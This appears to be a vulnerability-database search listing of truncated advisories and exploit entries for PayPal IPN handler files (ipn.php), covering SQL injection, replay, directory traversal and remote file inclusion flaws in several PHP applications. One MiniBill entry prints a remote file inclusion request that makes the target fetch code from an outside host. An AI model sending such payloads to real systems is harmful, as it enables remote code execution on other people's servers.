CVE-2026-15502: Improper Neutralization of Special Elements used in an SQL Command

A vulnerability was detected in AojiaoZero Antaris 1.0. This affects the function rewardPurchase of the file /ipn.php of the component PayPal IPN Payment Handler. The manipulation of the argument itemnumber results in sql injection. The attack may be performed from remote. The vendor was contacte...

CVE-2026-39366: Insufficient Verification of Data Authenticity

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions...

Directory traversal

Directory traversal vulnerability in ipn.php in KubeLabs Kubelance 1.6.4 allows remote attackers to include and execute arbitrary local files via the i parameter...

CVE-2008-2091

Directory traversal vulnerability in ipn.php in KubeLabs Kubelance 1.6.4 allows remote attackers to include and execute arbitrary local files via the i parameter...

CVE-2008-2091: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in ipn.php in KubeLabs Kubelance 1.6.4 allows remote attackers to include and execute arbitrary local files via the i parameter...

Kubelance 1.6.4 (ipn.php i) Local File Inclusion Vulnerability

No description provided by source. $ Script : Kubelance All Versions Local File Inclusion Vulnerabilities $ Script Info : http://demos.kubelabs.com/kubelance/ $ Download : http://rapidshare.com/files/108095194/Kubelance.v1.6.4.PHP.NULL-DGT.rar.html $ Author : CrackersChild $ Contact :...

Kubelance 1.6.4 (ipn.php i) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================== Kubelance 1.6.4 ipn.php i Local File Inclusion Vulnerability ============================================================== $ Script : Kubelance All Versions Local File Inclusi...

CVE-2006-4489: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in MiniBill 2006-07-14 1.2.2 allow remote attackers to execute arbitrary PHP code via 1 a URL in the configincludedir parameter in actions/ipn.php or 2 an FTP path in the configplugindir parameter in include/initPlugins.php...

MiniBill 1.22b - config[plugin_dir] Remote File Inclusion

MiniBill v1.22 Beta Remote File Inclusion Vulnerability Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip Found By: the master exploit: http://Target/Path/actions/ipn.php?configplugindir=http://cmd.gif?...

Multiple PHP Toolkit for PayPal Vulnerabilities

Vendor: Patrick Breitenbach and Dave Nielsen http://paypal.sf.net/ Versions affected: PHP Toolkit for PayPal v0.50 and may be prior Date: 12th January 2006 Type of Vulnerability: Sensitive Information Disclosure and Payment System Bypass Severity: Critical Solution Status: Unpatched Vendor was...